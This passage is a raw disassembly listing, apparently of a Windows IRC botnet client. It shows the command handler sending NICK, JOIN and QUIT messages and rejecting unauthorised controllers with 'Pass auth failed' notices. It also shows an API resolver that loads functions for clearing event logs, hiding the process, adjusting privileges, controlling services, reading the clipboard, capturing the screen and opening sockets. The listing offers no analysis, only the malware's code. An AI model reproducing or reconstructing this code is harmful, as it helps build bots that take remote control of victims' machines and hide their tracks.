					; sub_401AC7+67F2j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408836
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_40882E:				; CODE XREF: sub_401AC7+638Bj
		call	sub_408C5D
		add	esp, 14h


loc_408836:				; CODE XREF: sub_401AC7+224Ej
					; sub_401AC7+2279j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		jmp	loc_402074
; ---------------------------------------------------------------------------


loc_408847:				; CODE XREF: sub_401AC7+6D25j
		mov	eax, [ebp+var_A8]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E8B
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_408863:				; CODE XREF: sub_401AC7+6E0Dj
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E8B
		push	esi
		call	sub_417C89
		push	eax
		call	sub_40A33E
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40888A
		push	offset unk_42C4B8
		jmp	short loc_40888F
; ---------------------------------------------------------------------------


loc_40888A:				; CODE XREF: sub_401AC7+6DBAj
		push	offset unk_42C48C


loc_40888F:				; CODE XREF: sub_401AC7+6DC1j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4088BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_4088BF:				; CODE XREF: sub_401AC7+6DDAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_408863
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_401AC7+37F8j
					; sub_401AC7+380Dj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	esi
		push	offset dword_42C930
		push	[ebp+arg_4]
		call	sub_408C17
		push	esi
		push	offset dword_42C470
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408914:				; CODE XREF: sub_401AC7+37CEj
					; sub_401AC7+37E3j
		push	[ebp+arg_10]
		push	offset dword_42C894
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C44C
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408931:				; CODE XREF: sub_401AC7+37A4j
					; sub_401AC7+37B9j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C428
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_408955:				; CODE XREF: sub_401AC7+377Aj
					; sub_401AC7+378Fj
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		push	offset unk_42C404
		jmp	loc_408143
; ---------------------------------------------------------------------------


loc_408972:				; CODE XREF: sub_401AC7+2BE5j
					; sub_401AC7+2BFAj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C3E0
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 1Ch


loc_4089AA:				; CODE XREF: sub_401AC7+6F2Fj
		push	eax
		call	dword_423078	; Sleep


loc_4089B1:				; CODE XREF: sub_401AC7+2630j
		xor	eax, eax
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_4089B8:				; CODE XREF: sub_401AC7+2BBBj
					; sub_401AC7+2BD0j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C3B8
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4089AA
; ---------------------------------------------------------------------------


loc_4089F8:				; CODE XREF: sub_401AC7+C2Aj
					; sub_401AC7+C3Fj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42509C
		push	eax
		call	sub_40A19A
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42C394
		call	sub_413BD2


loc_408A42:				; CODE XREF: sub_401AC7+49C2j
		add	esp, 24h


loc_408A45:				; CODE XREF: sub_401AC7:loc_40211Dj
					; sub_401AC7+662j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_408A4D:				; CODE XREF: sub_401AC7+6E2j
					; sub_401AC7+6F7j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E8B
		cmp	[ebp+var_AC], ebx
		jnz	loc_401E8B
		push	offset dword_4282F4
		push	[ebp+var_90]
		call	sub_4185F4
		mov	esi, eax
		push	offset dword_4C96C8
		push	ebx
		inc	esi
		call	sub_4185F4
		push	offset asc_42C390 ; "~"
		push	eax
		call	sub_4185F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_418570
		add	esp, 20h
		test	eax, eax
		jz	short loc_408AF5
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408C17
		push	edi
		push	esi
		push	offset unk_42C310


loc_408AE1:				; CODE XREF: sub_401AC7+708Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 30h
		jmp	loc_4079C8
; ---------------------------------------------------------------------------


loc_408AF5:				; CODE XREF: sub_401AC7+6FE1j
		mov	[ebp+arg_24], offset off_425158


loc_408AFC:				; CODE XREF: sub_401AC7+7051j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40A55C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408B53
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42515C
		jl	short loc_408AFC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408C17
		push	edi
		push	esi
		push	offset unk_42C2BC
		jmp	short loc_408AE1
; ---------------------------------------------------------------------------


loc_408B53:				; CODE XREF: sub_401AC7+7044j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408B58:				; CODE XREF: sub_401AC7+70BBj
		cmp	[ebp+arg_10], ebx
		jz	loc_401E8B
		cmp	[edi], bl
		jnz	short loc_408B78
		push	[ebp+arg_10]
		push	offset aHi	; "hi"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408B89


loc_408B78:				; CODE XREF: sub_401AC7+709Cj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_408B58
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_408B89:				; CODE XREF: sub_401AC7+70AFj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_D04]
		push	7Fh
		push	eax
		push	esi
		call	sub_417B00
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408BC0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C29C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_408BC0:				; CODE XREF: sub_401AC7+70DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C27C
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_408BD1:				; CODE XREF: sub_401AC7+20Ej
					; sub_401AC7+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42512C
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		add	esp, 2Ch
		mov	dword_4C96C0, edi
		jmp	loc_401D64
sub_401AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C17	proc near		; CODE XREF: sub_40194F+3Dp
					; sub_401AC7+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_418690
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		leave
		retn
sub_408C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C5D	proc near		; CODE XREF: sub_401AC7+515p
					; sub_401AC7+1046p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_408C78
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_408C78:				; CODE XREF: sub_408C5D+14j
		push	edi
		call	sub_4176F0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset dword_42E26C
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_408CF6
		push	7D0h
		call	dword_423078	; Sleep

locret_408CF6:				; CODE XREF: sub_408C5D+8Cj
		leave
		retn
sub_408C5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408CF8	proc near		; CODE XREF: sub_401221+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_42309C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4230BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408E18
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4C98A4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4C981C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4C9800, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4C9720, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4C96D0, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4C96FC, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4C9770, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4C9858, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4C98B4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4C972C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C98A4, ebx
		mov	dword_4C9714, eax
		jz	short loc_408DF6
		cmp	dword_4C981C, ebx
		jz	short loc_408DF6
		cmp	dword_4C9800, ebx
		jz	short loc_408DF6
		cmp	dword_4C9720, ebx
		jz	short loc_408DF6
		cmp	dword_4C96FC, ebx
		jz	short loc_408DF6
		cmp	dword_4C9770, ebx
		jz	short loc_408DF6
		cmp	dword_4C9858, ebx
		jz	short loc_408DF6
		cmp	dword_4C98B4, ebx
		jz	short loc_408DF6
		cmp	dword_4C972C, ebx
		jz	short loc_408DF6
		cmp	eax, ebx
		jnz	short loc_408E00


loc_408DF6:				; CODE XREF: sub_408CF8+B8j
					; sub_408CF8+C0j ...
		mov	dword_4C98B8, 1


loc_408E00:				; CODE XREF: sub_408CF8+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C9830, eax
		jz	short loc_408E2D
		push	1
		push	ebx
		call	eax
		jmp	short loc_408E2D
; ---------------------------------------------------------------------------


loc_408E18:				; CODE XREF: sub_408CF8+1Dj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98BC, eax
		mov	dword_4C98B8, 1


loc_408E2D:				; CODE XREF: sub_408CF8+117j
					; sub_408CF8+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408EE8
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4C9854, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4C9808, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4C97A0, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4C98A8, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4C97CC, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4C97EC, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4C984C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9854, ebx
		mov	dword_4C974C, eax
		jz	short loc_408EF3
		cmp	dword_4C9808, ebx
		jz	short loc_408EF3
		cmp	dword_4C97A0, ebx
		jz	short loc_408EF3
		cmp	dword_4C98A8, ebx
		jz	short loc_408EF3
		cmp	dword_4C97CC, ebx
		jz	short loc_408EF3
		cmp	dword_4C97EC, ebx
		jz	short loc_408EF3
		cmp	dword_4C984C, ebx
		jz	short loc_408EF3
		cmp	eax, ebx
		jnz	short loc_408EFD
		jmp	short loc_408EF3
; ---------------------------------------------------------------------------


loc_408EE8:				; CODE XREF: sub_408CF8+144j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98C4, eax


loc_408EF3:				; CODE XREF: sub_408CF8+1B8j
					; sub_408CF8+1C0j ...
		mov	dword_4C98C0, 1


loc_408EFD:				; CODE XREF: sub_408CF8+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4090B6
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4C9868, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4C97B4, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4C9820, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4C970C, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4C976C, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4C97D8, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4C9788, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9868, ebx
		mov	dword_4C9794, eax
		jz	short loc_408FA6
		cmp	dword_4C97B4, ebx
		jz	short loc_408FA6
		cmp	dword_4C9820, ebx
		jz	short loc_408FA6
		cmp	dword_4C970C, ebx
		jz	short loc_408FA6
		cmp	dword_4C976C, ebx
		jz	short loc_408FA6
		cmp	dword_4C97D8, ebx
		jnz	short loc_408FB0


loc_408FA6:				; CODE XREF: sub_408CF8+284j
					; sub_408CF8+28Cj ...
		mov	dword_4C98C8, 1


loc_408FB0:				; CODE XREF: sub_408CF8+2ACj
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4C97E0, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4C97BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97E0, ebx
		mov	dword_4C9864, eax
		jz	short loc_408FEB
		cmp	dword_4C97BC, ebx
		jz	short loc_408FEB
		cmp	eax, ebx
		jnz	short loc_408FF5


loc_408FEB:				; CODE XREF: sub_408CF8+2E5j
					; sub_408CF8+2EDj
		mov	dword_4C98C8, 1


loc_408FF5:				; CODE XREF: sub_408CF8+2F1j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4C97F0, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4C96E8, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4C96F0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4C9754, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4C9758, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4C9704, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4C97C0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97F0, ebx
		mov	dword_4C96F4, eax
		jz	short loc_409099
		cmp	dword_4C96E8, ebx
		jz	short loc_409099
		cmp	dword_4C96F0, ebx
		jz	short loc_409099
		cmp	dword_4C9754, ebx
		jz	short loc_409099
		cmp	dword_4C9758, ebx
		jz	short loc_409099
		cmp	dword_4C9704, ebx
		jz	short loc_409099
		cmp	dword_4C97C0, ebx
		jz	short loc_409099
		cmp	eax, ebx
		jnz	short loc_4090A3


loc_409099:				; CODE XREF: sub_408CF8+36Bj
					; sub_408CF8+373j ...
		mov	dword_4C98C8, 1


loc_4090A3:				; CODE XREF: sub_408CF8+39Fj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C96EC, eax
		jnz	short loc_4090CB
		jmp	short loc_4090C1
; ---------------------------------------------------------------------------


loc_4090B6:				; CODE XREF: sub_408CF8+210j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98CC, eax


loc_4090C1:				; CODE XREF: sub_408CF8+3BCj
		mov	dword_4C98C8, 1


loc_4090CB:				; CODE XREF: sub_408CF8+3BAj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409197
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4C97E8, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4C983C, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4C9844, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4C9804, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4C9730, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4C96E0, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4C9840, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4C96CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4C97E8, ebx
		mov	dword_4C9764, eax
		jz	short loc_4091A2
		cmp	dword_4C983C, ebx
		jz	short loc_4091A2
		cmp	dword_4C9844, ebx
		jz	short loc_4091A2
		cmp	dword_4C9804, ebx
		jz	short loc_4091A2
		cmp	dword_4C9730, ebx
		jz	short loc_4091A2
		cmp	dword_4C96E0, ebx
		jz	short loc_4091A2
		cmp	dword_4C9840, ebx
		jz	short loc_4091A2
		cmp	dword_4C96CC, ebx
		jz	short loc_4091A2
		cmp	eax, ebx
		jnz	short loc_4091AC
		jmp	short loc_4091A2
; ---------------------------------------------------------------------------


loc_409197:				; CODE XREF: sub_408CF8+3DEj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98D4, eax


loc_4091A2:				; CODE XREF: sub_408CF8+45Fj
					; sub_408CF8+467j ...
		mov	dword_4C98D0, 1


loc_4091AC:				; CODE XREF: sub_408CF8+49Bj
		mov	ebp, dword_4230B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409468
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4C9778, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4C989C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4C971C, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4C96F8, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4C97AC, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4C9798, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4C9760, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4C9878, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4C9894, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4C97A8, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4C9884, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4C9838, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4C97FC, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4C97F8, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4C973C, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4C9734, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4C9848, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4C985C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4C9814, eax
		call	esi	; GetProcAddress
		mov	dword_4C97D4, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4C9828, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4C97E4, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4C9824, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4C988C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4C97DC, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4C97A4, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4C9810, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4C987C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4C97B8, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4C975C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9778, ebx
		mov	dword_4C9890, eax
		jz	loc_409473
		cmp	dword_4C989C, ebx
		jz	loc_409473
		cmp	dword_4C971C, ebx
		jz	loc_409473
		cmp	dword_4C97AC, ebx
		jz	loc_409473
		cmp	dword_4C9798, ebx
		jz	loc_409473
		cmp	dword_4C9760, ebx
		jz	loc_409473
		cmp	dword_4C9878, ebx
		jz	loc_409473
		cmp	dword_4C9894, ebx
		jz	loc_409473
		cmp	dword_4C97A8, ebx
		jz	loc_409473
		cmp	dword_4C9884, ebx
		jz	loc_409473
		cmp	dword_4C9838, ebx
		jz	loc_409473
		cmp	dword_4C97FC, ebx
		jz	loc_409473
		cmp	dword_4C97F8, ebx
		jz	loc_409473
		cmp	dword_4C973C, ebx
		jz	short loc_409473
		cmp	dword_4C9848, ebx
		jz	short loc_409473
		cmp	dword_4C985C, ebx
		jz	short loc_409473
		cmp	dword_4C9814, ebx
		jz	short loc_409473
		cmp	dword_4C97D4, ebx
		jz	short loc_409473
		cmp	dword_4C9828, ebx
		jz	short loc_409473
		cmp	dword_4C97E4, ebx
		jz	short loc_409473
		cmp	dword_4C9824, ebx
		jz	short loc_409473
		cmp	dword_4C988C, ebx
		jz	short loc_409473
		cmp	dword_4C97DC, ebx
		jz	short loc_409473
		cmp	dword_4C97A4, ebx
		jz	short loc_409473
		cmp	dword_4C9810, ebx
		jz	short loc_409473
		cmp	dword_4C987C, ebx
		jz	short loc_409473
		cmp	dword_4C97B8, ebx
		jz	short loc_409473
		cmp	eax, ebx
		jnz	short loc_40947D
		jmp	short loc_409473
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_408CF8+4C5j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98DC, eax


loc_409473:				; CODE XREF: sub_408CF8+664j
					; sub_408CF8+670j ...
		mov	dword_4C98D8, 1


loc_40947D:				; CODE XREF: sub_408CF8+76Cj
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409582
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
